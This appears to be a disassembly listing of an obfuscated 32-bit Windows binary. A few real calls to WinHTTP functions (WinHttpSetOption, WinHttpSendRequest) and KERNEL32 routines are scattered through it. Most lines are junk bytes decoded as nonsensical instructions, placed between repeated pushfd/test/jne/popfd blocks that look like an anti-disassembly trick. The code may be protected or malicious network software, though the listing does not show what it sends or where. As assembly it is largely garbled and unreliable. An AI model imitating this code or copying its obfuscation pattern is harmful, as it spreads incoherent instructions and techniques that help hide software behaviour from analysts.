ja 0x1007df25
cld
push ecx
ficom dword [ecx]
rol dword [ebx - 0x67], cl
daa
fimul dword [esi - 0x6d]
shl dword [ebp + 0x7e], 1
mov ah, 0x30
movsd dword es:[edi], dword [esi]
xchg esp, eax
mov ebx, dword [ebp + 0x19]
test al, 0xa6
inc esi
test byte [eax], al
inc byte [edx]
rcl dword [ebx + 0x10], 0x6d
test byte [eax - 0x7fbc801d], 0x44
inc edi
je 0x1007deff
xor ecx, dword [ebx + 0x36ee926d]
into
cmp dword [ecx], ecx
adc dh, bh
pushfd
int1
pop ds
dec edi
loopne 0x1007df0b
pop esi
sal dword [edi], cl
add eax, 0x8eb3202e
sub al, 0x94
mov esi, 0x46d7748f
pop esp
add dh, bh
into
or eax, 0xd990c605
fldenv [ebx + 0x26595f6]
lds ebp, [ebp + esi*8 - 0x74]
mov gs, word [ebx + 0x13757feb]
and byte [0x521d29c6], al
add al, ch
insb byte es:[edi], dx
cmc
mov word [esi + 0x757febab], cs
adc esp, dword [eax]
add eax, 0x521d29c6
push esp
cmp eax, 0xb6c9e32c
leave
mov al, bh
or dword [ebx - 0x5c], ecx
loopne 0x1007df92
test dword [esi], eax
test dword [ecx + ebx*2], esi
inc ebp
out dx, eax
jae 0x1007dff3
stosd dword es:[edi], eax
adc dword [ebx], 0x23
in eax, 0x52
mov cl, 0x41
or eax, 0xd12bd4d3
sbb ecx, esi
and eax, 0x75c4142b
nop
dec edx
pop ebp
call 0x7caa1530
shl dword [edx], 1
and dword [ecx], esp
sub al, 0x76
cwde
add esi, dword [0x75bdaa66]
pop eax
inc esi
in al, 0x7f
jbe 0x1007dfdb
adc dword [edx - 0x5b], esi
pop esi
lea edi, [ecx + ecx*2]
dec ecx
imul eax, dword [ebp - 0x3100ec13], 0xd4343c19
mov edi, 0x123f4b1
or al, 0xa3
and ah, ah
jae 0x1007e068
mov edi, ebx
jo 0x1007e04c
mov bl, 0x9d
xor dword [edi], ecx
pop esi
push esp
imul ebx, dword [esi], 0xf022bed1
arpl dx, si
scasd eax, dword es:[edi]
xchg esi, eax
mov ebx, 0x7cf2c635
pop ds
add al, byte [esi - 0x74]
sahf
sub byte [edi - 5], al
dec ebx
pushfd
adc byte [ebx + ebp*8], ch
rol dword [ebx + 0x7c01fcfc], cl
std
xor ebp, dword [ecx - 0x75]
pop ss
sub al, 0x49
dec esi
jge 0x1007e07a
push esp
movsd dword es:[edi], dword [esi]
fsub dword [ecx]
sub al, dh
cmp byte [eax - 0x1b], ch
or eax, 0x7f74ee60
pushal
out dx, al
je 0x1007e0cf
loop 0x1007e066
out dx, eax
adc al, byte es:[ecx]
pop edx
sub dl, byte [ebp + 0x33]
popfd
popfd
add esp, 0xc
push esi
mov dword [ebp - 0xcc4], esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cld
pushal
adc al, 0x10
pushfd
test byte [0x1007e15f], 0xaf
jne 0x1007e160
mov al, 0xfb
aas
push es
xor dword [ecx], ecx
sbb eax, 0x5ec45a68
pop esi
jns 0x1007e069
adc al, 0xb8
cmp ah, dl
lahf
mov cl, 0xfb
and byte [ebx + ebp*2 + 0x68ecb6a4], 0x45
add al, 0x55
imul edx, eax, 0x8d9374fa
and eax, 0x7a11b703
pushal
stosb byte es:[edi], al
bound ebx, qword [ebp - 0x31dd0eb3]
idiv esp
mov ah, 0x46
mov ebp, 0x7f97512
cmp byte [edi - 0x11], dl
scasd eax, dword es:[edi]
add al, 0x5a
in al, 0x24
popfd
jns 0x1007e11b
out 0xdf, eax
mov bh, 0x63
dec ebp
test al, 0xfb
pop ebx
les edx, [ebx]
jne 0x1007e0fc
sahf
mov bl, 0xe6
sti
jecxz 0x1007e0d7
jge 0x1007e134
ror dword [edi - 0x58], cl
mov ch, 4
cmpsb byte [esi], byte es:[edi]
test al, 0xb5
add al, 0xa6
cmpsd dword [esi], dword es:[edi]
out 0xc8, al
xchg ebx, eax
cmc
cmp ecx, dword [ecx - 0x52]
enter 0xfffffffffffff593, 0x3b
dec ecx
scasb al, byte es:[edi]
pop ss
inc ebx
mov esi, 0x52383594
dec edx
adc al, 0xd5
jo 0x1007e150
xor eax, 0x144a5238
aad 0x70
popal
push esp
jb 0x1007e084
ja 0x1007e15c
pop edx
xchg esp, eax
movsd dword es:[edi], dword [esi]
rcl dword [0x53a200c5], 0x53
push ebx
push ebx
push es
aam 0x98
inc ebp
aaa
inc ecx
pop ebp
lahf
lodsd eax, dword [esi]
jbe 0x1007e164
mov edx, dword [edi - 0xf]
pop es
jns 0x1007e0f6
and dh, byte [ebx + 0x22]
sub dword [ecx - 0x5e], eax
adc ah, byte [esi - 0x6c]
xchg ecx, eax
sbb byte [0xe52b62fa], al
add eax, 0xe52b62fa
cdq
push esp
push edx
loopne 0x1007e0dd
xchg byte [edx + 0x6f], dl
push cs
xor dword [ebp - 0x70], 0xb042a1d0
pop esi
rol dword [ebx], 1
xchg ecx, eax
xor esp, dword [ecx + ecx*8]
add dword [edi + 0xb], eax
cmpsb byte [esi], byte es:[edi]
outsd dx, dword [esi]
out dx, eax
cmc
fisub word [ebx - 0x65]
push 0x6fb0e667
push ds
adc dword [edx - 0x61], 0xffffffa2
push 0x71
dec esi
jns 0x1007e15a
into
aad 0x29
cld
xor ebp, edi
jb 0x1007e0e7
pop edi
lea edi, [ecx]
xlatb
cmp edi, edx
fdiv qword [ecx - 0x44]
lahf
popfd
inc eax
cmp eax, edi
jle 0x1007e212
xor eax, eax
pushfd
test byte [0x1007e20b], 0x6d
jne 0x1007e20c
sbb dword [ebx - 0x1404d827], esi
xor al, 0xc5
insb byte es:[edi], dx
enter 0xffffffffffff8e1d, 0xffffffffffffffd5
outsd dx, dword [esi]
movsd dword es:[edi], dword [esi]
add eax, 0x62f0fcbf
leave
in eax, 0x66
xor byte [ebp - 0x70585c5e], dh
and byte [eax - 0x2e2283ec], ch
mov edi, 0x29b7ccbc
mov cl, 0xf5
out 0x20, al
cdq
xchg ebx, eax
mov esp, 0xbf49f489
movsd dword es:[edi], dword [esi]
mov edx, 0x24f0db9a
sar byte [edx - 0x1ff13585], cl
into
daa
in al, 0x6a
int3
js 0x1007e1e2
in eax, dx
loopne 0x1007e1be
pop esi
mov al, 0xfb
xchg edx, eax
mov ch, 0xd8
mov ch, 0x8b
sub byte [edi + 0x37de3165], bh
fbld tbyte [ebx + 0x2ffc54ae]
adc edx, eax
mov bh, byte [eax - 0x72]
enter 0x53cd, 0xf
scasd eax, dword es:[edi]
dec edx
jnp 0x1007e23d
mov ecx, 0x37fe18e8
adc al, 0x6c
fcmovnb st(0), st(4)
popfd
jmp 0x1007e403
lea esi, [eax + eax]
mov eax, esi
call fcn.101222f0
mov eax, esp
push 3
push esi
push dword [ebp - 0xcc4]
pushfd
test byte [0x1007e240], 0x85
jne 0x1007e341
out 3, al
sar dword [ebx + 0x49], 1
add edx, ecx
jnp 0x1007e283
jnp 0x1007e236
stc
mov eax, 0xc083bb4e
cmpsb byte [esi], byte es:[edi]
push ecx
test dword [0x77fef461], edi
and eax, 0x476d3493
popfd
enter 0xffffffffffffa4c6, 0x56
inc esi
cmp ecx, esi
jge 0x1007e1dd
mov ebp, 0x13c6d811
cwde
mov bh, 0xde
mov bh, 0x1a
sbb ebx, dword [edx - 0x221e1f71]
daa
sbb ebx, eax
aad 0x24
pop edi
aam 0x70
inc ebx
jnp 0x1007e2a6
lahf
out 0x30, eax
mov al, byte [0xb8ecdae7]
pop ds
jnp 0x1007e2ef
lahf
sub eax, 0xc5028007
add al, ch
dec edx
shr byte ds:[eax + 2], 0xa6
shr byte [eax + 2], 0xa6
sub esp, dword [ebx - 0x1dcb3e8b]
cmp eax, 0x95db48bb
sbb al, 0x20
mov ah, 0x8c
fmul qword [esi - 0x21]
lea ebx, cs:[esp + ecx*8 - 0x32b5cbd1]
or byte es:[ebp + 0x47], ah
or byte [ebp + 0x47], ah
imul dword [edi - 0x22]
sub al, 0x1f
push ebx
aas
and al, 0x37
outsd dx, dword [esi]
pop ebx
or al, 1
sub esp, dword [eax + 0x35a5b5b6]
mov al, 0x97
cld
dec ebp
or byte [ecx - 0x7990db67], dh
das
mov esp, eax
mov eax, dword [0x984eb897]
loopne 0x1007e287
out 0x32, eax
call 0xfb2c0af2
xor ch, al
sbb dword [eax], ebp
and al, 0xeb
sbb edi, dword [esi]
push 0x6ef4858e
out dx, al
dec edi
test dword [esi + 0x673ea07d], esp
mov ebx, 0x9e295bd6
jecxz 0x1007e36d
jge 0x1007e317
push dword es:[edx + edx*2]
push dword [edx + edx*2]
adc bh, cl
add eax, 0xff154a1c
inc ecx
std
pop esp
cmp dword [0x5a85ae38], edi
push edx
int 0x39
and eax, 0xe1522aff
push cs
cli
pop ss
insb byte es:[edi], dx
push 0xf267805
jno 0x1007e2d3
invalid
mov al, 0xb1
out dx, al
cmp byte [esi + ebx*2 - 0x35], ch
lodsd eax, dword [esi]
cld
mov dh, 0xb1
stosb byte es:[edi], al
sti
xchg edi, eax
mov edi, 0x646b12a7
sbb byte [esi + 0x5193d32e], dh
in al, dx
adc bl, cl
xchg byte [ecx], al
pop edi
shl dl, 0xe2
or eax, 0xea323f4
in al, dx
in eax, 0xe
popfd
push eax
pushfd
test byte [0x1007e38a], 0xc7
jne 0x1007e38b
aam 0xfb
dec esp
and dword [eax], 0xbcddbd6c
inc esi
rcl dword [ebp + 0xc563f04], 0xf1
pop ebp
and edx, dword [ebp + 0x28d4c133]
sub dword [eax - 0x53b9d13f], ebx
sub byte [ecx], ch
cwde
shr dword [esi], 0x46
lodsb al, byte [esi]
jge 0x1007e3df
jno 0x1007e3e2
jae 0x1007e314
movsb byte es:[edi], byte [esi]
mov edi, 0xfd9ba20c
popal
aam 0x55
je 0x1007e366
pop esi
dec esi
xchg esi, eax
or eax, 0x58f296d0
pop ecx
paddusw mm2, qword [edx - 0x27]
dec esi
dec eax
popfd
call fcn.10052d0b
pushfd
test byte [0x1007e401], 0xe5
jne 0x1007e402
mov al, 0xc9
inc ecx
cmc
mov ebp, 0x8cc9133e
or eax, esi
add eax, dword [ecx]
sub cl, byte [0x5ea2e505]
jnp 0x1007e364
int3
add byte [ecx], ah
inc ebp
sub esp, dword [edi + edx*8 + 0x63b7a9d7]
loopne 0x1007e38b
cmp al, cl
push edx
dec ecx
cmp dword [esi + edi*2 + 0x58], 0x2a
fnstcw word [eax + 0x16]
clc
aad 0xf2
adc dword [0x31854411], edi
out 0xb9, eax
popfd
push eax
lea eax, [ebp - 0x114]
push 0x104
push eax
call fcn.1012231c
pushfd
test byte [0x1007e43e], 0x71
jne 0x1007e43f
sub edi, ecx
cmp dword [edi - 0x29], esi
cmc
xlatb
xchg esi, eax
stc
add edi, esp
sub ecx, dword [ecx]
outsb dx, byte [esi]
or byte [ecx - 0x69], ah
aam 0xc8
out 0xec, al
adc al, 0x76
fistp dword [eax - 0x14]
sub ecx, ecx
inc esi
or bl, 0x70
popfd
add esp, 0xc
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [eax + 1]
pushfd
test byte [0x1007e53c], 0x26
jne 0x1007e53d
add byte [ebp - 0xf], cl
dec ebp
int1
or al, 0xfc
xlatb
loop 0x1007e479
cmp edi, dword [edx]
call 0x7c9e4e43
mov eax, dword [0xbbfc8470]
or edi, ebx
fnstcw word [ebx + 0xf0bc637]
fdivr st(4)
nop
mov esp, 0x8548d7ff
movsb byte es:[edi], byte [esi]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
aam 0x1b
adc dword [ebx], edx
cmp eax, 0x1d19c2e4
jge 0x1007e426
aaa
invalid
call dword [eax + esi*2 + 0x4ed0b519]
push ebx
test al, 0x28
imul dword [bx + 0x14]
jl 0x1007e514
sbb edx, ebx
add byte [edi + 0x4abc6ca6], 0xfc
js 0x1007e4df
jbe 0x1007e460
mov eax, dword [0x1902c455]
loopne 0x1007e4f1
aad 0x19
pop ecx
cmpsb byte [esi], byte es:[edi]
xor al, 0x7e
pop ebx
mov eax, dword [0x333f6647]
or eax, 0x51c75a3
mov al, 0xc6
rcl dword [esi + 0x54a8eaa0], cl
adc al, 0x1a
push esp
shr eax, 0x6f
pop ecx
xlatb
xchg ecx, eax
inc esi
xchg dword [edx - 0x74d13593], eax
sub byte [ebx - 0x53], 0xe5
pop es
int3
retf 0x8b2e
pop ss
das
stosb byte es:[edi], al
and dword [ecx + 0x45], ebp
add al, 0x68
or dl, dl
test al, 0xf4
push ebx
add ch, bh
daa
cmp byte [ecx + ebp*4], ch
dec eax
aaa
aam 0x95
xchg ebp, eax
sti
xchg dword [ecx], edx
cmpsb byte [esi], byte es:[edi]
fld st(0)
sub ch, byte [eax]
inc edi
daa
adc byte [esi + 0x71], 0x74
jno 0x1007e58a
push cs
cmp dword [ecx - 0x6d], 0xffffffc4
dec eax
les edx, [ebx + 0x76]
out dx, al
out dx, al
xlatb
rcr edx, 0xf8
adc al, 0xdc
sub dword [ecx + 0x18c73a6b], ebx
ja 0x1007e501
lea edx, [ecx]
inc edi
movsd dword es:[edi], dword [esi]
scasd eax, dword es:[edi]
les esp, [esi + 0x3e2e4c92]
xchg edx, eax
mov bh, 0x43
popfd
cmp esi, edi
jle 0x1007e54d
mov dword [ebp - 0xccc], ebx
jmp 0x1007e6a0
lea eax, [esi + esi]
call fcn.101222f0
mov eax, esp
push 3
push esi
lea ecx, [ebp - 0x114]
pushfd
test byte [0x1007e596], 0x15
jne 0x1007e597
cmpsb byte [esi], byte es:[edi]
dec esp
jecxz 0x1007e507
mov dh, 0x65
dec eax
je 0x1007e4f3
dec edx
out 0x8c, eax
dec esi
aaa
or edi, dword [ebx - 0x288d5194]
xor al, 0x60
add byte [esi + 0x7e], bl
loopne 0x1007e5ce
mov ch, 0x32
push 0x80b645eb
inc ebp
mov dh, 0x80
jo 0x1007e522
push ecx
inc edi
or edi, 0x26bd2dc0
popfd
push ecx
push eax
pushfd
test byte [0x1007e693], 0xa9
jne 0x1007e694
int1
xor dl, byte [ebp - 0x2b7a164c]
push 0x7fadbee5
sub eax, 0xf34e1515
sub edi, dword [ebx]
out 0x63, al
arpl word [ebp + 0x3f], bp
clc
fdivp st(5)
push es
sbb cl, dh
push es
xor al, 0xd3
ficomp word [ebp - 0x1a]
push cs
mov eax, dword [0xd557f54e]
movsd dword es:[edi], dword [esi]
dec esi
cmc
push edi
aad 0xa5
sti
in al, dx
pushal
add byte [ecx - 0x22c7594f], ch
popfd
or byte [ebx - 0x35bc0abe], dl
and al, 0x29
mov bh, 0x92
adc eax, 0x5de76dac
int 0x3a
inc esi
pushal
test al, 0x11
int3
popfd
call fcn.10052ae6
mov dword [ebp - 0xccc], eax
push 0xc
lea eax, [ebp - 0xcd4]
pushfd
test byte [0x1007e6f2], 0x2e
jne 0x1007e6f3
sbb ecx, dword [esi - 0x7e]
or byte [esi + 0x7a], 0x67
mov dh, 0xfb
or al, 0x9c
out 0xc1, al
push ss
das
pushfd
mov ecx, 0x1ad79c33
in al, dx
test esp, esi
sbb al, 0x8c
sub eax, 0x48b07142
cmp edi, dword [esi + 0x10]
das
pop ebp
adc dword [eax + 0x28bd935], ebx
push eax
mov byte [edi + 0x5c], bh
xchg edx, eax
sbb dl, byte [ecx - 0x2139effa]
mov al, cl
test al, 0x8d
and al, byte [ebx*4 - 0x22780f3e]
movsd dword es:[edi], dword [esi]
popfd
push eax
push 0x26
pushfd
test byte [0x1007e7c5], 0x1d
jne 0x1007e7c6
movsb byte es:[edi], byte [esi]
and dword [bx + si], 0x6a0ee5c2
loop 0x1007e76c
mov edi, edi
or eax, dword [eax + 0x4d123829]
xchg byte [esi], ch
sbb al, 0x2b
int1
lahf
lea edx, [ebp - 0x60]
sub eax, 0xeee56511
mov edx, 0xe241290f
into
inc ebp
add al, 0x3a
mov ebx, 0xcdff3e1
adc byte [eax - 0x7ab46a51], ch
popfd
jno 0x1007e758
sbb eax, 0x75446118
shl dword [edx + edx*4], 0xe1
dec ecx
inc edx
inc edx
js 0x1007e763
shl byte [ecx - 0x1c486cf9], cl
xor ah, byte [ebx + edx*2]
adc dh, bh
mov al, byte gs:[0xbbc5399e]
mov al, 0xfb
mov dh, 0xf4
cmp ebp, eax
mov ebx, 0xf4b6fbb0
in eax, dx
clc
sub al, byte [ebp - 0x1634fb9c]
dec ecx
mov eax, dword [eax]
and ecx, esi
add al, 0xcb
jmp 0x310872b4
imul eax, ecx, 0xb8499c03
enter 0xffffffffffffa46a, 0xffffffffffffffb9
clts
xlatb
mov dword [0x48b4c100], eax
sal dl, cl
cwde
mov al, 0x7d
adc eax, 0x462bfba8
in eax, dx
cmp ebp, ecx
stc
xor al, 0x9f
rcr byte fs:[edi - 0x295f1a5], 0xb4
sub al, 0xa3
mov dh, 0x2a
sar byte [edx], 0x98
cmpsb byte [esi], byte es:[edi]
in eax, 0x93
push ebp
mov esp, 0x9480338a
mov ah, 0x85
sbb byte [edx - 0x39], ah
cmpsd dword [esi], dword es:[edi]
cmp ecx, dword [edx + 0x41f4ca85]
fsubr st(3)
int1
pop ds
xor byte [ecx], dl
insd dword es:[edi], dx
sal byte [edx + ebx*2], 1
lds esp, [edx - 0x346af31a]
fidiv word [edi]
inc edi
popfd
push dword [ebp - 0xcc0]
call dword [sym.imp.WINHTTP.dll_WinHttpSetOption]
test eax, eax
pushfd
test byte [0x1007e8a9], 0x21
adc byte [ebp + 0x5f69cc0], al
test eax, 0x211007e8
jne 0x1007e8aa
xlatb
sar byte [esi - 0x38], 1
cli
and dl, byte [edx + 0x7e]
cdq
cmp al, 0x9c
sbb al, 0xbe
xor dword [ecx - 0x377ef675], ecx
add dword [ecx + 5], 0x132a9c50
cwde
mov dword [eax - 0x4ab66c89], eax
pop es
inc eax
into
sal dword [eax], 1
lahf
mov edi, ebx
jno 0x1007e7d2
cld
or dl, byte [edx]
lahf
add dword [ebp + 0x42fa479e], 0x8e80d723
pop ds
pop ss
insb byte es:[edi], dx
int 0xa1
inc edi
cli
inc edx
and edx, edi
or byte [esi - 0x3293e8e1], 0xa1
pop ecx
cmc
sbb edx, ecx
mov ebp, dword ss:[ebx]
push ebx
xor byte [edi - 0x6f1742dc], ah
sbb byte [ebx + 0x7e], ch
sub eax, 0xfb273e18
add ebp, dword [esi + 0x7e]
pop ecx
or cl, bl
sbb al, 0x43
sbb al, 0x18
xchg esp, eax
jno 0x1007e815
sub eax, 0x19b5d3e
cmp dl, al
mov ebx, 0xf75bc08
loop 0x1007e86a
or bh, al
cdq
mov eax, 0x5caaab5a
fild qword [ecx - 0x49]
dec ebp
lahf
std
js 0x1007e87f
and byte [eax + ebp*2 - 0x4149783a], al
dec eax
dec edx
inc edi
jg 0x1007e84c
mov esi, 0xf3474a48
jg 0x1007e84c
loop 0x1007e816
das
inc ebp
xor dl, byte [eax]
xor bl, byte [ebx]
stosd dword es:[edi], eax
xor byte [esi], cl
xchg bh, bl
scasb al, byte es:[edi]
mov eax, dword [0x87dd840a]
mov edx, 0xfbbcecc9
sal byte [esi], 1
je 0x1007e8f1
xor ebp, ecx
mov esp, 0x91f758b6
test eax, 0x8278df66
sub eax, dword [0x5e474160]
lea esp, [edi]
inc edi
rol ebp, 0x70
push 0x28232c1f
popfd
jne 0x1007e8c1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, dword [ebp - 0xcdc]
mov dword [edi + 0x124], eax
jmp 0x1007e8c7
mov edi, dword [ebp - 0xcdc]
cmp dword [edi + 0x124], ebx
jne 0x1007ec45
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 0xcc0]
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
pushfd
test byte [0x1007e980], 0xf5
jne 0x1007e981
mov word [eax], es
add byte [eax], al
sub al, byte [eax + 0x14]
test byte [ebp - 0x11], 0x72
dec edi
popfd
cli
dec eax
pop ds
sbb eax, 0x62a9f9fb
imul ebx, edx, 0xffffffe3
lodsd eax, dword [esi]
mov byte [esi], ch
fidivr dword [esi - 0x4f95a4be]
cmp eax, 0xdb648b34
pop di
xchg ebx, eax
mov edi, 0x28630560
mov edi, 0x950eef8a
ror dword [eax], 1
xchg ebx, eax
push 0xa4ca9432
adc ebx, dword [ebx + edi*2]
push ebx
cdq
pop esp
lodsd eax, dword [esi]
push edi
in eax, 0x68
pushal
pushfd
sbb al, byte fs:[ebp + 0x5d]
adc esi, edi
out 0x98, al
mov cl, 0x57
push edi
sbb cl, byte [ecx + 0x392815]
std
pop ebp
mov dh, 0x68
pushfd
add eax, 0xe03fb22
imul ecx, dword [eax - 0x31], 0x7e
int3
popfd
je 0x1007eab2
mov byte [ebp - 0xcb1], 1
jmp 0x1007ec45
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
pushfd
test byte [0x1007eb22], 0x57
jne 0x1007eb23
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
pop edi
push ebx
lodsd eax, dword [esi]
adc eax, 0x7a0ed53
adc dword [ebp - 0x1a], ecx
in eax, dx
mov al, byte [0xe64d1107]
sal byte [eax - 0x308981e], cl
popal
push edi
jns 0x1007eacb
inc edx
daa
salc
fmul st(1)
cmc
mov word [ebp - 0x7f96ff64], cs
sbb bh, byte [ecx + 0xc186a6f]
daa
sar al, 1
add dword [eax + 0x2406eb48], 0x82e02bd8
pop ecx
int1
test dword [edi - 0x28], ebp
sbb bh, byte [ebx]
sub eax, 0xee8f677f
fsubr qword [ebx - 0x2fbd8153]
cli
aaa
aaa
pop esi
call 0x1dc00f69
add esi, edi
movsd dword es:[edi], dword [esi]
push ecx
xchg dword [eax + esi - 0x7c9b3510], esp
stosb byte es:[edi], al
lodsd eax, dword [esi]
popfd
push str.WinHttpSendRequest_Error:_d
push ebx
push ebx
mov dword [edi + 0x124], eax
pushfd
test byte [0x1007eb3f], 0xf7
jne 0x1007eb40
mov edx, 0xa5ba43dc
popfd
call fcn.10049c0c
pushfd
test byte [0x1007ec40], 0xda
jne 0x1007ec41
add byte [eax], al
movsd dword es:[edi], dword [esi]
xor cl, al
mov dl, 0x75
xor eax, 0x58ce5696
xchg ecx, eax
pop ebp
in al, 0x4f
sub al, 0xda
cwde
pop edx
jge 0x1007ebc9
dec ecx
out 0x13, al
sbb eax, 0xace2bbd3
sal byte [0xc28fd368], cl
cmc
mov ecx, 0x7e2a0f77
xor dword [edx], 0x980c2aae
mov al, byte [0x3387fe27]
aad 0
rcl dword [esi]
cmp esi, eax
inc byte [ecx - 0x38]
jbe 0x1007ec03
scasb al, byte es:[edi]
jns 0x1007eb39
adc byte [ebx], dl
pop ecx
std
jl 0x1007ebef
lodsd eax, dword [esi]
add byte [ebp + 0x77], cl
and eax, 0xe56f30c6
and al, 0xe9
sub edx, dword [edx - 0x1efe3154]
adc al, 0x44
inc edi
push edx
int1
sub eax, 0x2232d42e
push edi
mov dword [0x2216dab8], eax
mov bl, 0xf1
push eax
mov al, 0x80
adc al, byte [edx]
or eax, 0x7433d55a
ja 0x1007ebc5
invalid
pop edx
aad 0x33
je 0x1007eb52
mov al, dl
cli
sar dl, 1
cld
inc ecx
dec ebx
pop esp
and byte [esi + edx*2], bl
sub byte [esi], ch
add dword [ebx], ebp
cmp byte [ebp + 0x610040e7], 0x32
lds edi, [ebx + 0x44]
add edi, edx
pop eax
sti
loop 0x1007ebe4
xor edi, 0xfffffffd
push esi
pop ds
cld
lds edx, [eax - 0x9932553]
adc al, dl
cmpsb byte [esi], byte es:[edi]
mov ecx, 0x598a2504
push esp
adc bh, dh
pop ebp
mov eax, dword [0xb494ca4c]
sahf
loopne 0x1007eb9e
fisubr dword [esi + esi*8 + 0x12]
ret 0xb9a6
xchg esp, eax
mov ah, 0x9e
adc al, cl
adc al, 0xcc
mov dh, 0xf
int1
stosb byte es:[edi], al
mov eax, dword [0x9418455e]
push esp
cmpsb byte [esi], byte es:[edi]
sbb al, 0xa9
sub al, 0xa7
ffree st(5)
test eax, 0xc5dda72c
pop ds
cmp byte [eax + 6], 8
pop es
scasb al, byte es:[edi]
test al, 0x13
jmp [esi + esi*2]
popal
xor esp, dword [ecx]
in al, dx
daa
push es
mov dword [eax], edi
popfd
add esp, 0x10
mov esi, dword [sym.imp.KERNEL32.dll_GlobalFree]
cmp dword [ebp - 0xd00], ebx
je 0x1007ecab
push dword [ebp - 0xd00]
pushfd
test byte [0x1007eca7], 0x5c
jne 0x1007eca8
cmp edi, dword [eax + esi*8 + 0x14]
insb byte es:[edi], dx
dec ecx
mov ecx, 0xd830b594
out dx, eax
idiv dword [0xa24d361f]
push 0x4d2a6dcf
add al, 0xf5
loop 0x1007ec17
add eax, 0xa8ede559
sbb edx, dword [0xec0b6bcb]
jl 0x1007ec39
add ecx, dword [eax - 0x7c]
inc ebx
cmp bh, ch
cdq
or dl, byte [ebp - 0x7b]
adc dword [esi - 0x33], 0x27
xchg ecx, eax
xor dl, al
pmaxub mm3, qword [ecx + 0x10]
push cs
mov ch, 0x79
and esp, eax
sub byte [edi + 0x70], bl
popfd
call esi
cmp dword [ebp - 0xcfc], ebx
je 0x1007ecbb
push dword [ebp - 0xcfc]
call esi
cmp dword [ebp - 0xcf8], ebx
je 0x1007eeb9
pushfd
test byte [0x1007ecd8], 0xe4
jne 0x1007edd9
pop ebx
inc edx
cmpsb byte [esi], byte es:[edi]
jnp 0x1007ecfa
mov ah, 0xa3
pop eax
pop ebp
fdiv st(7), st(0)
insb byte es:[edi], dx
and dh, ah
fnstcw word [edi + 0x3c787219]
jo 0x1007ed28
add dword [ebp + 0x56], edx
sub al, 0x99
pop edi
jns 0x1007ed0f
push ebp
out 0xd0, eax
cmpsd dword [esi], dword es:[edi]
xchg edx, eax
adc dl, byte [ecx + 0x13eaacc]
bound esp, qword [ebx + ebp*2]
mov esi, 0x13cb23bc
pop ds
invalid
int3
invalid
sbb byte [ebx + 0x4b], 0x82
dec ebx
and bl, 0xfc
jecxz 0x1007ed2a
loop 0x1007ed4c
rol ebx, 1
mov byte [edx], cl
fsubr dword [edi]
inc edi
mov ah, 0x60
jecxz 0x1007ecbb
and ch, byte [ebx + ecx - 0x3461d8c1]
insb byte es:[edi], dx
daa
out dx, al
cli
mov esp, 0x9a7ee41f
sahf
retf
mov eax, dword [0x219436ae]
cmpsd dword ss:[esi], dword es:[edi]
sub byte [ecx], 0x4c
not dword [ebx*4 + 0x18beef75]
pop esp
push edi
push edi
jbe 0x1007edc8
xchg ebx, eax
push cs
dec ecx
popfd
sal dword [ecx - 0x13], 1
test edi, esi
pop dword [eax + 0x45]
js 0x1007ed2c
movsd dword es:[edi], dword [esi]
in al, dx
sbb eax, 0xd1805215
test byte [ecx], bh
aaa
push esp
cwde
test al, 0x2f
jbe 0x1007edfd
jl 0x1007ed40
sbb byte [ebx], ch
out 7, eax
dec esi
lahf
mov eax, 0xd8d24652
in eax, 0x69
das
jne 0x1007ed4c
shl byte [ebp - 0x4578cf5c], 1
not esp
jno 0x1007ed5f
xchg ebp, eax
xchg esp, eax
push 0xffffffffffffffbc
inc esi
add bh, al
mov ebx, eax
sub ch, byte [ebx + 0x6da966cb]
out 0xc7, eax
neg dword [ebx]
fstp qword [edx + 0x5269de20]
pushfd
scasd eax, dword es:[edi]
add dword [eax - 0x7bf364d5], esp
or al, 0xe9
inc ecx
movsd dword es:[edi], dword [esi]
test eax, 0x57d64472
or al, 0x3b
cmp byte [ebx - 0x2abd5a4e], dl
dec dh
cmp edi, dword [eax]
xchg ebx, eax
mov dl, 0xa5
inc edx
aad 0xfe
into
xchg esp, eax
or byte [ecx], cl
jne 0x1007ee4f
out 0xeb, eax
stosb byte es:[edi], al
popfd
push dword [ebp - 0xcf8]
call esi
jmp 0x1007eeb9
call dword [sym.imp.KERNEL32.dll_GetLastError]
pushfd
test byte [0x1007eeb1], 0x22
jne 0x1007eeb2
test byte [edx], dh
movsd dword es:[edi], dword [esi]
and byte [0x17b4fc4e], cl
out 0xea, eax
out dx, al
add edx, esi
or al, 0x7c
xchg edx, eax
jno 0x1007edd8
and ah, dl
pop ecx
or eax, 0x2a2cc42d
jnp 0x1007ee52
int1
jnp 0x1007ee68
out 0x5a, al
sub esi, ecx
inc ebx
push ebp
inc ebx
pop esi
and al, 0xf4
pop es
je 0x1007ee49
pop eax
call 0x95586450
cmp al, 0xaa
clc
test eax, 0xdf01a87e
xchg ecx, eax
daa
pushfd
test al, 0x91
out 0x18, eax
mov dword [eax + 0x5f], edi
fistp dword [edx - 0x7c]
xor al, 0x3c
pop es
fsubr qword [edi]
mov byte [esi], cl
push cs
mov ebx, 0x369f711e
into
jbe 0x1007eec8
les edx, [esp + ecx*2 + 0x18]
xor eax, 0xdfec75d2
aad 0x88
mov dh, 0x8f
push esi
je 0x1007ee7c
xchg esi, eax
pop es
sub al, 0x1e
cmp dword [ebx], ebx
sub dword [edi - 0x45], edi
sub eax, 0x455a2845
pop edi
popal
cld
stosd dword es:[edi], eax
aaa
sub ecx, edx
inc edi
mov dword [ebp - 0x339e7c7], ecx
push esi
or al, byte [eax + 0x4cd3457c]
xchg ebx, eax
pushal
and ebp, dword [edx]
xor al, 0x36
pop ss
mov edi, 0xd339730f
xchg edx, eax
mov esp, 0x2bb96fed
push esp
pop esp
fistp word [eax - 0x5b92556c]
invalid
rcl dword [edx - 0x46901244], cl
sub edx, dword [esp + ebx*2 - 0x21]
cwde
xchg esp, eax
stosb byte es:[edi], al
insd dword es:[edi], dx
movsb byte es:[edi], byte [esi]
div cl
push cs
test eax, 0xc386049f
bound eax, qword [ebx - 0x17]
pop esi
in eax, dx
adc dword [edx], edx
xchg dword [esi - 0x10], edx
popfd
mov dword [edi + 0x124], eax
cmp byte [ebp - 0xcb1], bl
jne 0x1007f9c5
cmp dword [edi + 0x118], ebx
